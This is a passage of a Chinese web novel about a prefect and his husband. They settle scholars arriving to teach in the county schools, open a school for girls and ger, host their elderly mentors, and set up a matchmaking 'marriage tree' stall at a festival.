“说到书院你看到我写的识字本了没有?里面还有没有需要补充的常用字?”孟晚又想起正事来,赫山的松韵学院建好了,智班的老师他从藕坊里,荷娘那批人中找了两个读书识字最多的女娘和小哥儿做夫子,目前可以先顶上用了。 整个县学需要的书本比孟晚的松韵学院更多,宋亭舟最近在翻找他早年科举所读过的文章书本,孟晚准备的书册倒也看过一遍,“已经概括了禹国大部分常用字,若是全都学会已经足够,但我建议你在把你慧班相关的五类文字统计一下,让已经升到慧班的女娘哥儿再学一学相关的字。” 孟晚一点便通,“你说的也是,特别是慧一的算数和慧五的药理。学医就不用说了,有些生僻的草药名字连我都不会。学算数的我本来就要再开几本书的,她/他们大概率会分到糖坊、藕坊、或者珍罐坊里做管事,确实也要学一些和经商有关的文字。” “学算数再开几本书?可是九章算术之类的?”宋亭舟不解的问。 孟晚颇为不好意思,“咳咳,不是,是我从前学的东西,想教教大家。”大学四年读的会计,这些年也派了些用处,精简一下有用的整理成册,也算是他惠国惠民了。 “石花糕做为夏季凉食着实不错,不如问问他们夫妻可有亲戚朋友会,到府城开家分店也好。”提及他以前,宋亭舟就不问仔细了,又岔开话题说起旁的。 孟晚调侃他,“我夫君不光读书厉害,竟然连做生意都懂,厉害厉害。” 宋亭舟轻笑一声,“不及夫郎半分。” 两人说着俏皮话,在熟悉又陌生的赫山街头闲逛半日,逗留几日办好县城的事后,便又相携回了府城。 没想到入城的时候在西梧府城门处看到了长不到头的马车正一辆辆的进城。 雪生把车停在后面,“大人夫郎,好像是有什么大商贩来西梧府了。” 一时半会堵在后面进不了城,宋亭舟把孟晚抱下马车,俩人看着面前长长的队伍,越看越不对劲。 “夫君,你看那两个少年是不是有点眼熟啊?”孟晚嘀咕着说。 宋亭舟也面色犹豫,“后面车辕上坐着的嬷嬷,莫不是聂家的桂嬷嬷?” 他们夫夫俩正说着,桂嬷嬷已经看见了他们。 “宋大人!夫郎,你们怎么在城外啊!”桂嬷嬷大喜过望,忙下了车过来叫他们。不光是她,还有听到动静的耿妈妈。 “晚哥儿,姑爷!” 耿妈妈可是项芸身边的贴身妈妈,孟晚立即小跑着过去,“耿妈妈?你怎么来了,那马车里可是我师父和师公?” 这会儿前面车队的人都已经听到动静停止前行,为了不影响后面人正常进城,镖师领着车马让到了一边。 孟晚扶着项芸下车,半是抱怨半是欢喜,“师父,您和师公来怎么不给我送封信啊?差点就没能接到你们。” 亏得扬州还没有昌平那么远,项芸又一路水路过来,饶是如此老夫妻俩也折腾的够呛,头一回没在小辈面前端着架子,颤颤巍巍的说:“这个破马车我是不坐了,晚哥儿,你赔师父师公走进城。” “好好好,不坐了,咱走进去。”好在今日阴天,乌云蔽日,虽然潮气盛,但不晒人。 孟晚左手搀着师父,右手搀着师公,在树下陪他们站了会儿,等着那头的宋亭舟和聂先生等人说话。 宋亭舟没想过聂先生会亲自来西梧府,他们说了会话后,车上所有读书人都下了马车过来给宋亭舟见礼。 他们浩浩荡荡的一大群,有三泉村宋家的人、昌平府聂先生召集起来的人,还有林易找人脉叫来的徒子徒孙。 其中举人功名者四人,秀才十二名,余下的四十人都是童生。他们有老有少,携家带口,最远的历经半年才远赴到西梧府。 宋亭舟看着面前一道道的人影,只觉得一股热流从心底直冲天灵盖,敬与慕在血液里翻涌,喉咙发紧,声音艰涩。 “众位知道此行艰苦,这次远行何止千里?却依旧愿意携家带口奔赴而来,助西梧府一臂之力。诸位先生大义之举,在下作为西梧府父母官铭记在心,请受学生一拜!” 不顾众人阻拦,宋亭舟跪在地上,结结实实的给对面前的读书人们叩了一首,方让自己心中的快要沸腾的情绪平静些许。 他身为当地父母官,朝廷任命的四品大员,竟能做到这种地步,在扬众人无不震惊。但很快,比震惊更强烈的情绪瞬间席卷全身。 是啊,这才是为官者该有的胸襟与气魄,他们苦读诗书,为的就是难道不是将毕生所学,倾付到天下百姓身上吗? 这一行共五十六个读书人,没有先后之分,竟动作整齐划一地齐齐跪到在地,同样对宋亭舟行了个大礼。 “愿以吾等微薄之力,助西梧府万千学子凌云展翅,不负宋大人振世之怀!” 宋大人能为西梧府的百姓对他们这群没有功名的普通书生跪下,他们又为何还在路上忐忑犹豫,害怕到岭南之后所受的苦难呢? 宋大人明明比他们苦上百倍! 怀着满腔热血,他们再无对岭南的排斥,条件艰苦又如何,他们能夜枕圣贤书入睡! 孟晚把自己师父和宋亭舟夫子都接到家里休息,随后夫夫俩立即开始着手安顿余下的人。 宋亭舟先规划一番将这些读书人分到何处,如今府学里和光棍无疑,他便狠下心来把四名举人分派去四座县城,等三年后再重新调回府学。 剩下的秀才童生全都打散,抓阄之后同样均匀的分散至四座县学。 县学现在改造成功了一半,孟晚和宋亭舟刚从赫山县回来,还来不及进家门,便又随着被分到赫山的一位举子、三名秀才、十位童生重新回去。 “县学里有给夫子们准备的宿舍,诸位信得过我夫君,拖家带口的来了,住在里面便不大合适。”孟晚态度诚恳,话语里满是感激,宋亭舟带那些书生去县学里的时候,他便在县学外给书生们的家属安排住处。 “诸位请看,这边的这条街是官府特意批下来给众位夫子留下的地盘,已经盖好了十六间小院。”孟晚带她们走到县学外最近的一条街道上。这里是前后两条街,整整齐齐的盖了十六座大小相同,四四方方的院子,可惜后面有六座还没修建完毕。 说实话孟晚也没想过会一次性来这么多的读书人,准备的确实不充分,他预想是盖八座小院,后来想地方已经划出来了,闲着也是闲着,就算不给未来夫子们当宿舍,也可以便宜租赁给县学的学子们,没想到还真派上了用扬。 孟晚推开第一座小院,院子阔三丈,宽约四丈。按照现代的方式换算大约是一百二十平米左右。 门口一间倒座房,对着大门是正房三间,院子东侧是两间厢房。西侧是草棚,可以饲养牲口或者当作柴房用。 “厢房里有一间改成了灶房,里面的灶台都搭建好了,各位夫人、夫郎们只需买些碗筷盘子即可。后院有些小只设了一间旱厕,这些院子的格局和大小都是一模一样的,后续你们也能自己添置改样,当下诸位可以进去随意观看观看。” 孟晚说完后有两位夫人相偕进了厨房,见里头果真如孟晚所说,灶台已经搭好,甚至连铁锅都已经镶嵌了上去。 再进正房,里面家具不多,却刚好够用。正房的两个房间里各摆放了一张床和一架衣柜,中堂则是一张八仙桌和四把椅子。 这些夫人夫郎是奔着劝不动自家夫君过来吃苦受难的,有的连孩子都没带,放到老家和婆母一起生活。如今旁的不说,住处是真的无可挑剔。 “这些可都是孟夫郎您准备的?” 孟晚笑笑,“都是底下管事找人修建,夫人不嫌弃就好。” “不嫌弃不嫌弃,哎呦,可比我家还要干净规整。”童生的地位略低,秀才也不是各个有钱,这座小院子已经超出他们期待太多。她们还以为来了岭南之后要先住客栈,再慢慢找住的地方呢! 有人小心翼翼的问:“敢问孟夫郎这住处的租钱是怎么算的?” 孟晚带她们出了小院,去找正在监工的工头,“夫人夫郎们放心,院子的租金是一年五两银子,从夫子们每年的束脩里扣除即可。若是夫子们能留在当地任满十年,十年后这间小院便划到诸位名下。” “这意思现在不用我们掏钱,住十年就白给我们了?”有人惊呼。 孟晚很久没听到北方口音了,不由得倍感亲切。便耐心解释道:“也不是白给,十年加在一起五十两银子,已经够了建造这座小院的本钱。” 其余夫人们纷纷笑了,“孟夫郎是个实在人。” 孟晚问了工头几句,听说半月后剩下的院子就能完工,便对大家说:“实在对大家不起,还有六座小院要多等半月才能搬进去入住,咱们今日只能先抽签抽这十座院子,剩下四家人我带着先去近前的客栈如何?” 人群里的举人夫人代表大家出来说话,“夫郎不必客气,路上我们姐弟们也都熟识了,院里既然都有厢房,抽不到的借住几晚想必也是无碍的。何必再多此一举给您添麻烦呢?” 其余人也纷纷附和。 孟晚又同她们客套了几句,便也同意了,叫身边的黄叶当着众人的面写好了房号,另六张是空纸,揉成一团扔进布兜里,叫大家轮流去抓。 之后有一位秀才家的夫人和五位童生夫人/夫郎轮了空,童生们的夫人/夫郎就罢了,那位秀才夫人脸色阴沉下来,不像刚才那般好看。 孟晚是什么样的人精,瞬间便看了出来,“后续六座院子建好后,我会吩咐木匠给诸位多添上几样家具,全当恭贺诸位乔迁之喜。” 举人夫人暗地里剜了那秀才娘子一眼,后才扬起笑脸对孟晚说:“孟夫郎何必如此客气,本就麻烦您众多,不碍事的。” “是啊孟夫郎,已经受您恩惠良多,余下的便不必麻烦您了。”被瞪了一眼,那秀才娘子也反应过来,面前的人可是知府夫郎,正经的四品大员。她们夫君可连个官身都没有,怎可因为人家客气就蹬鼻子上脸忘了身份之别呢? 处理好这边家眷们的事,放她们各自搬家休息,孟晚也松了一口气。 接下来他还要和宋亭舟去其余县城巡视一圈,将众多远道而来的夫子们妥善安排好才是。 孟晚又打发黄叶去给他买了两碗石花糕来,说了半天口干舌燥的。 黄叶从马车里拿了他们自己的碗去买石花糕,等宋亭舟带一众书生出县学的时候,孟晚已经在吃第二碗了。 “给,快吃,要不一会儿就不凉了。”孟晚递给宋亭舟一碗,黄叶和雪生也坐在车辕上吃。 宋亭舟迅速吃完,放下碗和孟晚说:“今夜再在赫山住一晚,明天中午宴请这些书生,下午启程去黑叶县。” 孟晚拿着团扇扇风,“成,那今晚咱们回家住,还能多找几身换洗衣裳。” 第51章 开学 第二天在宋家赫山县的宅子里,孟晚在家中又给远道而来的客人摆了几桌宴席。 因为太过匆忙,身边又只有雪生和黄叶在,没有时间和人手准备,只能请酒楼里的人拿上食材和桌椅,在他家做好了直接上桌。 古时在家宴请讲究的是一份重视,不然如此折腾都能去各家酒楼里直接做席了。 宴请完众人,请人打扫了院子,孟晚和宋亭舟再次出发踏上去黑叶县的道路。 黑叶县以前的老知县李绥安自请致仕了,新任知县年岁也不小,足有四十八岁,孙子孙女都出生了,人老实的不像话。 若不是宋亭舟到西梧府后威名太盛,砍得人太多,当地乡绅地主都龟缩起来不敢惹事。就按照黑叶县的新知县的脾气性格,保管备受磋磨。 府衙的张推官带这么一大堆的夫子来黑叶县县学,黑叶县知县迎接的颤颤巍巍,本来他品阶是比张推官高的,搞得张推官反而像他上司一样。 “张推官,这……黑叶县的县学才建了一半啊。”黑叶县知县不安的说。他刚来上任,任上的事务还没捋顺,上面就分了这么大的重活。 做好了功绩是有了,还是现成白捡的,可问题是他还没来得及做好啊! 这会儿见知府大人将夫子都安排来了,急得团团转,生怕上司责问。 张推官还没见过这么胆小怕事的官,十分无奈的对他行了个礼,“大人不必紧张,四县只有赫山的县学快建好了,其余地界都还差些,进度实属正常,知府大人不会责怪的。但这批书生都是远道而来,为的是教导我们西梧府的学子,知府大人说要各县知县礼待。” 黑叶县知县掏出帕子连连擦汗,“应该的,应该的。” 宋亭舟来了一趟,见他安排的还算得体,吃穿住行等一应准备妥当,倒也没再提点什么。 只是黑叶县中有几个宋家族学的书生,宋亭舟单独见了面,敲打了同族几句。又有孟晚扮红脸宽慰他们,感念他们远道而来,逢年过节定要去府城和他们走动。 夫夫俩一套组合下来,既让他们觉出与宋亭舟的距离感和敬畏之心,又感动于孟晚还惦念他们这门穷亲戚,短时间内应当会守分寸行事。 “世家大族行事,享受宗族荣耀的同时,又要承担一荣俱荣,一损俱损的风险,说实话,我有点怕。”孟晚坐在马车里同宋亭舟说话。他们只在黑叶县待了一天,便又马不停蹄的赶往德庆县。 宋亭舟向来重视孟晚的话,他眉头轻皱,“确实如此,但此题无解。我若一路顺利官升,同族难免张扬,人之本性,避无可避。” 孟晚后仰至宋亭舟肩膀上,语气倒算不上太过忧愁,“若是一人犯罪,就惩治一人就好了,搞什么连带啊。” 宋亭舟扭头堵上他的唇,片刻后才放开,“不可抱怨国法,会惹麻烦。” 孟晚用食指和中指点住自己的唇,用微小的声音说:“我知道要敬畏皇权,在自己地盘,小声小声的说好不好?” 他眼里是对宋亭舟全身心的信任,宋亭舟只觉得怎么看都喜欢,上手抚着他后脑侧头对准他殷红色的唇,亲了又亲。 等他们四处巡视完,回到府城的时候已经又过去了一个月。 把两边的师父晾了这么长时间,幸亏他们体谅他们事务繁忙,常金花留在家里招待众人,倒也没有怪罪之说。 宋亭舟回来后同聂先生和林易去了府学谈事,孟晚比他稍微空闲些,便带着项芸夫妇和聂二夫郎去街上闲逛。 “师父,您和二叔嬷可挑了个最热的时候来,如今九月还好一些。” 两人都没吃过什么苦头,听闻岭南条件艰苦,却没想到会这么热。 项芸捏着长辈的架子,不肯说自己路上多难,“刚开始行船还好,只是后来陆路难走一些,但进入西梧府境内后车马就快了,没受什么波折。” 聂二夫郎一刻不停的扇着扇子,昌平府气候干燥,热也是干热,同岭南气候完全不同,他来了一个月了也不大适应,总觉得衣裳贴身。 “师祖说的不错,西梧府地界的路确实平坦,这就是你们之前在赫山时提到,用灰粉修的路?” 孟晚指着城内的路,笑眼中带着丝丝骄傲,“二叔嬷说得不错,如今整个西梧府,不光是官路,连普通的乡间小径都开始重新铺路了。” 项芸点头赞许,“难怪你们开始重整教育,不错,若是乡下的路好走,里面的年轻人也方便出来求学。你创办的松韵学院,我已经去过了,建的很好。” 她在这个时代已经算是思想超前的女子了,也不免为孟晚惊世骇俗的做法所震惊。 林易致仕后两人本想在老家等着老死,却被孟晚创建的学院勾的思绪难平,此生若能得见女子/哥儿的学院面世,那才叫死而无憾,所以就毫不犹豫的踏上来西梧府的路程。 孟晚毕恭毕敬的对项芸施礼,“还没感谢师父为我的事操心,寻来这么多先生甘愿奔赴岭南。” 项芸苍老又瘦弱的脸上浮出一丝笑意,她这些年愈发老得厉害,心境却越来越年轻,“都是些我早年认识,无家可归的可怜人罢了,听到来岭南做女先生,比谁都惊奇,你安排的住处也好。她们凑在一堆不知道多快活,过几日我也想搬去学院里住。” 孟晚挽着项芸的胳膊,“嗨,学院住着是好,可您大老远来一趟,难道不是想我嘛,就和我多住些日子呗,等腻了我再说。” “腻了你?”项芸被他说法逗笑,“我们家晚哥儿人见人爱,谁会腻呢?” 聂二夫郎也笑着附和,“师祖所言甚是。” 孟晚陪项芸待了两天,就到了书院开课的日子。不管是县学还是松韵书院,为了削减开销,书册都是余家旗下的书肆给帮忙印刷的,老余只收了个成本的价钱。 特别是松韵书院,只是两三册的千字文而已,成本并不算大头。书院的先生目前也不算多,只有寥寥几位,但孟晚开出的待遇不错,包吃包住还有束脩,确实如项芸所说,是个养老的好地方。 她帮孟晚找来的老师有老有少,可都有一个特点,独居、寡母、或是终身未嫁。她们或多或少都带些故事,但本身的才华却无可挑剔,孟晚无意去戳破人家的伤心事,教学质量达标即可。 四县通过驿站递交给孟晚来信中看,目前除了府学就只有赫山县的百姓比较积极。其余三县中,黑叶县的瑶族女孩和哥儿大部分都去学院了。沙坑县和德庆县人少的可怜,多是当地商户为了讨好孟晚把家里子女送进去就学。 孟晚的松韵学院每人每年要一两银子的束脩和伙食费,住宿免费。收的是六岁以上,十五岁以下的女孩和小哥儿。 这一两银子不是阻碍他们上学的门槛,而是防止有想占便宜弃养孩子的,知道免费上学就把孩子丢在学院里。 相比于松韵学院微弱的开销,县学则恰恰相反,宋亭舟将自己曾经的书册一一印刷出来,就已经是个极为庞大的数字了。 四县一府,每本都起码印出五份来,这些花费是宋亭舟自己出的,不走官府账目。 如此的话,基本的三书五经要做到人手一本几乎是不可能的。 所以入学的学子,进学第一件事就是抄书。每座县学都有藏书馆,里面的藏书千万本,不光是宋亭舟的,更有林易和聂先生所赠。 但三层藏书,无功名者只可抄写第一层的书册,童生可抄写第二层,秀才第三层。 读书问题解决,住宿免费,伙食费自掏腰包,但价格便宜,还可以免费提供厨房给家境贫寒的学子自己熬粥煮饭。 每月月考,无功名初学班前五可各得五百文铜板,童生班前五各得一两,秀才班前三各得三两,举子班前三各得五两。 宋亭舟任知府的头一个月,便向朝廷上书用整个西梧府施行摊丁入亩的政令。陛下已经应允。 贫苦人家税务相应减轻,也不像往年一般抗拒交税,普通百姓也能存下些银钱。 宋亭舟在西梧府的威望极高,他让陶八派人下乡挨个村子讲说读书的好处。便有目光看的长远的咬咬牙将家中子孙送出去,但哥儿女娘便不舍得掏那一两银子来了。 因此与门可罗雀的松韵学院不同,县学自九月初开学之际便人满为患,甚至还有三四十岁的中年男子想来凑热闹。 可县学招收条件是;无功名者需六岁以上,十二岁以下方可入学。有童生功名者也不可超过二十五岁。 如此一来,超出年龄的便都被拒之门外。 “阿爹,窝不去,呜呜呜……窝不离开你!”阿砚头上梳了两个整齐的小揪揪,穿了一身蓝色衣裳,背了个常金花亲自缝制的小挎包,抱着孟晚大腿又嚎又叫,眼泪鼻涕蹭了孟晚一身。 孟晚强忍着恶心,从黄叶手里接过湿帕子糊在儿子脸上,粗鲁的给他擦了把脸,用过的帕子看都没敢看上一眼,扔的飞远。 他敷衍的说:“儿子,你听着,男子汉大丈夫。连常去祖母店里吃香酥羽脍的玉娘都去上学啦,还有在咱们家里住过的鹃娘你还记不记得?她也去了学校。” 阿砚哭声渐熄,他抽泣着问:“那我去了就能看见她们?和她们一起玩?” 孟晚揪着自己衣摆,皮笑肉不笑的说:“不能。” “那窝不要去!不做大丈夫!”阿砚说完又要张嘴开嚎。 孟晚趁他嘴巴大张,从路过的朱颜端的盘子里拿了个馒头就塞进阿砚嘴巴里,然后利落的塞给雪生,“快快,把阿砚扔到县学去。” 雪生扛着阿砚就走,后面楚辞背着同款挎包,面色痛苦的跟了上去。 他也不想上学。 常金花被阿砚哭得脑袋一阵发昏,她扶着额说:“晚哥儿啊,阿砚是不是也太小了,不是说只收六岁以上的吗?” 孟晚潇洒的对一步三回头的楚辞挥了挥手,“放心吧娘,夫君已经叮嘱过夫子了,再说身边不是还有小辞看着吗?” 除了自家孩子,连被孟晚招揽进驿站的那拓也被就近送到府学上学,还有宋亭舟招揽的护卫蚩羽。 把俩孩子送走,夫夫俩各自忙着,好不容易闲了些日子,一转眼又到了秋收的日子。 秋收是一年的重中之重,值得一提的是,今年赫山县又新开两家小作坊。 孟晚觉得十分惊喜,还派人送去了贺礼。 果子收下来,珍罐坊开忙。孟晚的晒晾坊也悄无声息的建起来一座,规模和糖坊、珍罐坊比起来算是小的。但耗资巨大,搞得孟晚也心里突突能不能回本。 因为岭南的特殊天气,天然晒干极难实现,大批量晒果干很容易翻车。所以孟晚的晒晾坊除了烘烤工序外,还大手笔的用琉璃拼凑出来几个小型阳光房。 他去工坊里看着从廉州收上来的庵摩勒一点点晒成果干,心想若是不挣钱就留给家人吃算了,当是投资失败也没什么大不了的。 孟晚拎着一小筐的果干回家,结果家里竟然谁都不在,常金花的新店快开了,她这阵子正忙。 府学现在没人,聂先生干脆去县学任职,聂二夫郎随他去了赫山县。林易和项芸据说去了松韵学院溜达。 孟晚抬头看了眼天色觉得还早,便又提上竹篮去府城的松韵学院。 守门的两个妇人认得孟晚,忙从门房出来替孟晚开门,“孟夫郎,您来了。” 孟晚语气随和,“陈嫂,你们忙你们的,我来随便看看。” 当下入学的哥儿女娘几乎都不识字,所以慧班还没开班,大家都在集体扫盲。 智班的郎朗读书声比林间的画眉鸟还要悦耳动听,林易和夫人项芸坐在树下的椅子上端着茶盏品茶,见孟晚过来无声的招了招手。 孟晚走到他们身边,把竹篮上的麻布掀开,压着声音说:“师父、师公,你们尝尝我家工坊晒出来的果干。” 林易慈祥的笑笑,“师公的牙可咬不动这晒干的果子,倒是荔枝能吃上个几十颗。” 孟晚从竹篮里拿出一小把葡萄干给他,“师公,荔枝可不是能多吃的,上火的很。” 盛京有葡萄干,项芸倒是对孟晚篮子里暗黄色的芒果干比较感兴趣,“这是何物?” 孟晚递给她一小片,“是廉州的庵摩勒晒晾成的果干,前天你和师公不是还吃过新鲜的庵摩勒果子?” 项芸把芒果干撕成小块放嘴巴里抿着,“果然是,来你们西梧府两月,旁的不说,各色果子倒是没少吃。” 第52章 ** “您和师公就在我这里养老呗,桂圆荔枝都有,还有十月橘和蜜柑,我师公一定爱吃。”孟晚也拖了个凳子过来,和项芸林易喝茶、吃果子聊天。 项芸和林易相视一眼,皆笑容颜开,“我和你师公人至暮年,奔赴岭南能见你过的不错,又见识了这天下第一座专为女子和哥儿所建的学院,已经称得上此生无憾了。扬州终究是我们的归宿,等过些日子,我们就该回去了。” 孟晚手里的果子突然有些吃不下去,他明白了项芸的意思,师父和师公是想回老家,坐待尽期。 “瞧瞧我们晚儿,小脸都皱成一团了还是这么俊。”项芸现在规矩不似以前那么多,还颇为有童趣的调侃孟晚一句。 “晚哥儿是孝顺的好孩子,我和你师父都明白你的心意,人有悲欢离合,我们这辈子已算圆满了,没什么好惦念的,就是你众位师兄师姐,我们也不叫他们回来。”林易的话语和蔼,眼眸中透着睿智与通透。 孟晚怔怔的看着他和项芸,攥紧手里的果干,“我懂了师公。” 智班的读书声不知何时已经停止,年幼的哥儿女娘欢欢喜喜的从课堂中跑出来,他们中有七成都是城中富商的儿孙一辈,三成是工坊里工人的孩子。 “项姐姐,劳你和林大人久等了,不然和我去一起去尝尝食斋里的饭菜?” 孩子们出来后,夫子们坠在最后,有位同样头发发白的老妇人过来叫项芸。 孟晚弯腰施了一礼,“李夫子。” 李夫子笑道:“孟夫郎也在啊,您客气了。项姐姐,你可收了个好徒弟。” 项芸借着孟晚腕上的力气起身,“他小孩子家家的,都是多亏了诸位弟、妹给他过来撑场面,该尊敬些。” 李夫子不认同的摇摇头,“我们都一把年纪了,也就是孟夫郎不嫌,给我们找了这么个安身立命的地方,谁能想过我们这样的人还能被人尊称一句夫子呢?孟夫郎大义。” 项芸嘴上客气着,可神色中是显而易见的骄傲。几人相偕前往食斋,又有许多先生过来和项芸说话,或是夸一夸孟晚。 她们辈分都比较大,少有几个年轻的也比较沉默寡言。其中还是以李夫子和项芸关系最好,两人似乎年轻时候就相识了,孟晚嘴甜又放得下架子,几句话就哄得李夫子晚哥儿、晚哥儿的叫。 “晚哥儿的夫君是有本事的,我来这 段时间听说过许多宋大人的实际,想来你们回盛京也是早晚的事。我别的本事没有,只是早年在宫中认了个干儿子,以后若是有用得到的,只管提李飞飞,他会念在我的面子上帮衬一把的。”孟晚陪着三位老人在食斋里用完了膳,李夫子突然在孟晚走时说了这么一段话。 孟晚的脑子还没反应过来的时候,身体便已经下意识的道起谢来。 回去的路上他才发觉不对,问项芸道:“师父,这个李夫子在宫里当过差?” “何止当过差,她伺候过两任皇后,连当今圣上都要给她几分脸面。”但人死如灯灭,一个没有子嗣的老宫女若是仗着这点脸面硬是留在京中,最后也不知道会被谁给算计死,所以李夫子早早就退隐回老家了。 孟晚倒吸口凉气,这才惊觉,项芸帮他找夫子,却又不光是夫子这么简单。对方想到了某些更深层次的问题,努力在给孟晚留一席退路。 “师父,你……” 项芸打断他的话,“好了,师父难得来一次,不说那些旁人的事,我看天气比之前凉快不少,不如带我和你师公四处逛逛。” 林易附和道:“说的不错,我们已经见过郊外的珍罐坊了,还没见过你办的糖坊呢!” 孟晚顺着他们的意思将话语转到别处,“糖坊也就是稍微大点的工坊,没什么可看的。倒是十月初十的时候,我想在府城办一场**,撮合撮合壵、瑶、鹋三族和禹国百姓通婚,到时候一定热闹。” 项芸尚不理解通婚是怎么个通法,为官几十年的林易就已经参透了其中的奥秘,他捋着花白的胡子,“不错,你和景行待久了,看待问题的层次也和从前不同了。” 孟晚还真没注意,自己下意识就把小情小爱升级成民族统一上了。 **开始前,孟晚便从书肆里印刷了大量传单,让各个县衙的衙役都颁发给百姓,张贴在县衙或者乡镇的墙上。 壵、瑶两县是他自己亲自跑了一趟,隆重邀请年轻人下山参加**。 “鹋族那边要不要我去?” 孟晚刚从黑叶县跑回来,到家就洗澡换衣在房间里吃好吃的。 宋亭舟问出这句话时他正吃的头也不抬,一碗劲道的米粉下肚他才不紧不慢地回道:“不叫,谁让他们天天一副被毁了家园的模样,得了便宜还卖乖。” 分房又分地,还给迁到城市郊区,在 现代看来和天上掉馅饼差不多,他们竟然还嫌弃? 宋亭舟把他刷牙的牙具拿过来摆好,“那就不理他们,由官府动员百姓初十在街上摆摊。当天所有商税都取消,百姓所赚皆归他们所有。” 孟晚把米粉的汤都喝光,揉了揉微微鼓起的肚子道:“蚩羽的族人态度友好,还是要叫下山的,你明天放他几天假,让他回去带人下山来府城里。蚩羽朋友都是活泼的小伙子,性子开朗的女娘小哥儿,肯定愿意下山来玩。” 宋亭舟将碗筷收拾好,“昨天蚩羽就已经回鹋族了。” 他去送碗筷的时候,孟晚已经洗漱好到床上等他,拍拍身上的薄被催促道:“快来快来。” 宋亭舟上床搂住他,“过几日我们也休息,好好玩上两天。”孟晚本就偏瘦,好不容易养些肉近来忙的又瘦下去了。 “好~”孟晚半趴在他身上拖了个长长的尾音,一秒后就开始昏昏欲睡。 十月份县学的学子们有农桑假,孟晚便也给松韵学院的学生们**初八、初九、初十三天也放了个农桑假,实际是方便她们**去玩。 初八那天阿砚早早就背上他的书包准备出去,孟晚在院子里叫住他,“阿砚,干嘛去,书院不是放假了吗?” 阿砚挪着脚步到他身边,搓搓小手,“杜允康叫窝去他家玩。” “去杜同知家啊,也不至于早饭都不吃吧?吃了饭再去。”孟晚也是刚起床洗漱完。 阿砚不乐意,“杜允康家门口有卖肉包,可大,可好吃惹!” 孟晚脸上挂着一抹无懈可击的假笑,“可是咱们家早上也是肉包。” 把反抗无果的阿砚带到常金花院里吃饭,饭后雪生和朱颜跟着阿砚去了杜家。 “娘,**人多手杂,你店里小心些。”孟晚在提醒常金花。 常金花也从柜子里找了个小包,“明天娘的铺子也放假,让大家伙都好好歇歇。”她还是听孟晚说要给工坊里的工人放假才想起来的,今儿就过去开半天,给大家发些铜板做奖金,**也能买些东西。 孟晚好不容易在家歇着,眼睁睁地看着儿子和娘都毫不留恋的弃他而去,师父师公也去书院了,只好又回去找宋亭舟。 “他们都走了。”他从书架上拿了本书,坐在宋亭舟面前长吁短叹。 宋亭舟将毛笔用清水洗了洗,撂 在笔架上,顺手抽出孟晚手中的书册。 孟晚茫然的问:“怎么了?” “后天**我们不然也摆个摊子?”宋亭舟从桌后走过去俯下身对孟晚说。 孟晚瞬间来了兴致,“摆摊?卖什么?” 宋亭舟极为自然的亲了他一口,门外过来添茶的黄叶扭头、转身、关门,动作一气呵成。 孟晚被逗得哈哈大笑,“黄叶,你给我进来,**的关什么门。” 他喊了两句外面都没有动静,宋亭舟过去将门打开,一看黄叶早就跑到院子门口守着去了,脖子像拧了钢筋,直愣愣的看着院门,愣是一点都不往他们房门里歪。 宋亭舟:“……”他平时和晚儿倒也没有如此荒唐……吧? 两人十分无语,也不管他了,孟晚擦拳擦掌的说:“摆摊好,好多年没摆过摊子了,咱们好好想想后天卖什么!” 西梧府十月初十当天—— 整个西梧府多少年没有过这般盛况了,先不说城里,就连城外都各个城门口,都滞留了大批牛车马车等着拉人赚车马费。 天才蒙蒙亮的时候,便有小贩进城贩卖东西。孟晚让雪生给他占了个绝佳的好位置,街边的一棵大树下面。 他穿着棉布缝制的朴实无华的短衫长裤,抱着一筐零食坐在小凳子,不时剥几个花生喂给前面忙活的宋亭舟。 宋亭舟往他们面前的空地上放了两个竹编筐子,里面是满满两筐竹牌。 竹牌有食指长短,比指肚略宽,一头系着红绳,一面被打磨光滑。 两筐竹牌的中间摆着一张小矮桌,矮桌上是孟晚做的十来只炭笔,倚着大树还放了几根竹竿。 宋亭舟摆完竹牌后,起身往旁边的大树上挂了一面招旗,上书着“姻缘树”三个大字。甫一将招旗挂好,就吸引了大片的眼光。 “宋大人?您和夫郎这是在干嘛?”蚩羽领着族人过来,一眼就看到了仪态不凡的宋亭舟在卖力干活。 孟晚笑吟吟的招呼他,“蚩羽也来啦?我和你家大人在摆摊子,要不要过来写一个。” 蚩羽颇感兴趣的蹲在摊位前面,“大人,这是怎么玩的。” 宋亭舟一副懒得搭理他的样子,随意从竹筐里抽了支竹牌扔给他,“写字画画都可以,写完扔到树上去。” “啊?”蚩羽懵懵懂懂,但还是用炭笔,别扭又艰难的写了两个字上去,因为刚上学识字有限,写的也不好看,简化成了山**。 宋亭舟没眼看,恨不得将他手中的竹牌扔出去自己写。还是后面坐着的孟晚提醒道:“蚩羽啊,若是春心萌动便将竹牌扔低一些,若是不想……”孟晚话还没说完呢,就见蚩羽拽着一根树枝借力,几步踏到树稍上,把自己手中的竹牌挂到了最上面的树枝上。 “夫郎,你说什么?”蚩羽潇洒落地,震起一小片灰尘,宋亭舟眼疾手快地抽出腰上别着的折扇,忙给孟晚扇尘土。 孟晚把后半截话咽进嘴里,“没什么。” 我看今天哪个大神能够到蚩羽的竹牌! 蚩羽的族人好奇心旺盛,和闲不住的猫儿似的,见蚩羽写了字牌,各个都想写一个,比比谁扔的高。 孟晚飞扑上前捂住他的竹篮,“等等等等!这个只能女娘小哥儿写了去扔,男子可以选一个从树枝上取下来。” 于是圣女蚩蝶和另一个哥儿写了字牌,离去前蚩羽还问孟晚要不要铜板,孟晚笑着说不用,还从自己的零食筐里给他拿了两包果干。 他俩的摊子实在太过瞩目,街上人越来越多,很多人都已经认出了俩人。 “十一!来来。”孟晚把和哥哥嫂嫂一起出门的陶十一叫过来,“年前不是说要给你找个媳妇吗?怎么样,鹋族的喜不喜欢?” 陶十一脸色一红,做出一副扭捏姿态,“全凭夫郎做主。” 孟晚十分无语,自己找老婆不会吗?条件都创造到这儿了!要他怎么做主,他又不是陶十一阿爹。 “你家大人和我弄了个竹牌,咱们都是自己人,我就给你透透底。”孟晚指着大树上的一处枝条,“那边是鹋族人挂的,这边是瑶族人挂的。都是适龄的女子小哥儿,你要不要取一个看看?” 陶十一听到后面犹犹豫豫的问了句,“怎么没有壵族人啊夫郎?” 孟晚笑道:“哦,原来喜欢壵族姑娘啊,他们还没来呢,要不你在我这儿等会,有看上眼的就问问人家愿不愿意和你逛逛**。” “这……是不是不太好啊?”陶十一平时开朗大气的一个大男孩,关于自己婚事反而腼腆的不像话。 “只要你不强迫人家,只是相邀逛逛,没什么不好的。”府城的府兵和捕快都在城中四处巡逻,年轻人走走逛逛也无碍。 